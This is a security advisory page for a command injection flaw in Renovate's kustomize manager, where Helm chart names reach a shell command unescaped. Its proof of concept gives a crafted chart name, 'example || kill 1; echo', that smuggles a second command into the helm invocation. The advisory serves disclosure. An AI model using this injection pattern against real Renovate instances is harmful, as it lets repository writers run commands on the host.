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GHSA-xv56-3wq5-9997

MediumCVSS 6.7 / 10
Published Jan 13, 2026·Last modified Feb 3, 2026
Affected Components(0)

No affected components available

Description

Summary

The user-provided chart name in the kustomize manager is appended to the helm pull --untar command without proper sanitization.

Details

Adversaries can provide a maliciously crafted kustomization.yaml in conjunction with a Helm repo's index.yaml file to trick Renovate to execute arbitrary code. The value for the depName argument for the helmRepositoryArgs function in lib/modules/manager/kustomize/artifacts.ts is not being escaped using the quote function from the shlex package. This lack of proper sanitization has been present in the product since version 39.218.9 (https://github.com/renovatebot/renovate/commit/cc08c6e98f19e6258c5d3180c70c98e1be0b0d37), released on March 26 of 2025.

PoC

  1. Create a mock Helm repository. Have its index.yaml endpoint return:
apiVersion: v1
entries:
  "example || kill 1; echo":
    - version: 1.0.1
      created: 2016-10-06T16:23:20.499814565-06:00
    - version: 1.0.0
      created: 2016-10-06T16:23:20.499543808-06:00
  1. Create a git repo with the following content:

renovate.json5:

{
  $schema: "https://docs.renovatebot.com/renovate-schema.json",
  postUpdateOptions: [
    "kustomizeInflateHelmCharts",
  ]
}

kustomization.yaml:

kind: Kustomization
apiVersion: kustomize.config.k8s.io/v1beta1
helmCharts:
  - name: "example || kill 1; echo"
    repo: TODO reference the mocked Helm repository over https
    version: 1.0.0

with the todo resolved

charts/.gitkeep:

(empty)

  1. Run Renovate against the repo from a Docker container. Notice that the process terminates without reporting "Repository finished", because the ACI vulnerability allowed for execution of kill 1, terminating the root process of the container.

Impact

This is a Arbitrary Command Injection vulnerability, allowing those with write access on repositories configured to be scanned by Renovate to cause the execution of commands of their choice on the machine that runs Renovate.

Risk Scores
Base Score
6.7

The vulnerability requires local access to the device to be exploited. It is easy for an attacker to exploit this vulnerability. An attacker needs high-level or administrative privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.

Threat Intelligence
6.1

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
N/A

Probability that this vulnerability will be exploited in the wild within the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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Medium severity
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